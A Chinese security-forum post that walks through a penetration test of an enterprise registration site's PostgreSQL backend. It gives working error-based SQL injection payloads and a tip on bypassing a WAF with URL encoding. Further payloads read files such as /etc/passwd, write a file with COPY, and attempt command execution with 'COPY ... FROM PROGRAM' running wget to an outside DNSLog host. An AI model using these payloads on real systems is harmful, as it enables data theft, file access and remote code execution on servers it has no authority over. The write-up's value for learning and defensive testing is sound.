找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2147

积分

0

好友

301

主题
发表于 前天 12:40 | 查看: 8| 回复: 0

0x01 PostgreSQL SQL注入

在登录框的漏洞挖掘之后,我们回归正题,继续分析企业用户注册功能。点击注册页面的搜索按钮并抓包,可以发现一个搜索社区或地址的数据包。通过对参数尝试单引号'和双单引号''进行测试,成功触发了报错,确认此处存在一个SQL注入点。

企业用户注册界面截图,包含经营地址搜索框

触发数据库错误500的HTTP请求与响应包
请求返回正常200状态的HTTP包

然而,当我们尝试构造基础的Payload时,发现目标系统部署了某云WAF进行防护,导致SQLMap等自动化工具无法直接使用,只能进行手工注入。

请求被WAF拦截阻断的页面

一张自信的熊猫表情包

首先,需要通过报错信息来判断数据库类型。分析错误堆栈中的异常信息,最终定位到数据库为 PostgreSQL ,这在实战中相对少见。

PostgreSQL数据库权限错误信息截图
PostgreSQL数据库百科介绍页面

我们需要通过报错信息来定位SQL语句的原始结构,从而构造有效的报错注入Payload。在参数后添加'11,可以从下面的报错信息中看到SQL语句的大致模样:

SELECT * FROM tbl_org WHERE (name like '%11%' AND type = 400)

可以确认,我们传入的参数被放置在两个百分号%之间。

显示SQL语法错误的Whitelabel Error Page

起初,我尝试使用';payload--+这类方式进行堆叠注入,但均被WAF拦截。随后,在同事的帮助下获得了一个有效的Payload:'||(to_date(substring(current_database() from 1 for 1),'qwe'))||'

包含to_date函数错误的HTTP请求与响应包

现在我们来分析这个语句:

  • 单引号 ':用于闭合原SQL语句中like子句的前单引号。
  • 双竖线 ||:在PostgreSQL中是字符串连接运算符。
  • to_date函数:这是一个用于将字符串转换为日期的函数。我们利用它将substring(current_database() from 1 for 1)(即截取当前数据库名的第一个字符)的结果,与一个无效的日期格式'qwe'进行比较,从而触发类型转换错误,并在错误信息中回显我们截取的字符。
  • 通过修改substring函数中from后面的数字,可以依次暴露出数据库名每一位的字符。

提示:实际使用该Payload时需要先进行URL编码,以绕过WAF的检测。

通过查看历史请求,发现在加载小区列表时也有一个查询请求,该参数同样存在SQL注入,高危漏洞再添一枚。

企业注册界面另一个搜索点截图
另一个参数触发数据库错误的HTTP请求包

0x02 任意文件读取

在深入研究了 PostgreSQL 的一些高级注入技巧后,发现可以利用其进行文件读取。使用Payload:'||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||',即可尝试读取服务器上的文件。

该方法的原理与上文相同,都是通过触发to_date函数的转换错误,将pg_read_file函数读取到的文件内容(从指定偏移量开始读取指定长度)逐位报错显示出来。通过修改pg_read_file函数的参数,理论上可以读取服务器上的任意文件,成功实现任意文件读取,高危漏洞+1。

尝试读取文件触发错误的HTTP请求包

0x03 任意文件写入

接下来,尝试利用PostgreSQL的文件写入功能。使用Payload:1');COPY (select 1234) to '/tmp/2.jsp';--,将其URL编码后注入,目的是在服务器的/tmp目录下创建一个名为2.jsp的文件,并写入内容1234

成功执行COPY命令的HTTP请求与响应包

写入后,使用读取文件的Payload:'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||' 来查询/tmp/2.jsp文件,从报错信息中确认文件已成功上传并写入了指定内容。

成功读取到/tmp/2.jsp文件内容的错误页面

如果尝试读取一个不存在的文件,例如/tmp/3.jsp,则会收到“文件不存在”的错误提示。

读取不存在文件/tmp/3.jsp时的错误页面

由于目标网站采用Spring框架部署,我们无法直接获知Web应用的绝对路径,因此只能证明拥有向服务器临时目录写入文件的能力。一个可行的技巧是尝试读取/root/.bash_history等历史命令文件来寻找项目路径,但这需要逐字符进行报错读取,过程较为繁琐,本次测试中未深入进行。

0x04 命令执行

最后,尝试进行命令执行。使用Payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--,意图让数据库服务器执行wget命令访问我们的DNSLog平台。

尝试执行命令触发进程错误的页面

遗憾的是,数据库服务器可能权限不足或配置限制,执行命令的子进程直接退出了,未能在平台收到回显。

在整个渗透过程中,还尝试了注册账号(需管理员审批)、以及利用信息收集到的手机号结合登录成功的数据包进行替换,尝试绕过认证实现任意用户登录。但后者可能因为存在Token或Session二次校验,未能成功加载用户数据。

秉持着安全测试的可持续性原则,本次渗透测试就到此为止。在实战中深入挖掘和利用 PostgreSQL 数据库的SQL注入漏洞,是一个系统性的过程,涉及信息收集、Payload构造、绕过防御和权限提升等多个环节。希望本次在 云栈社区 分享的案例能为大家带来一些启发。




上一篇:深入解析Protocol Buffers:从原理到C语言实战应用指南
下一篇:Windows UDE驱动开发:手把手创建虚拟USB主机控制器与根集线器
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-12 01:28 , Processed in 0.204629 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表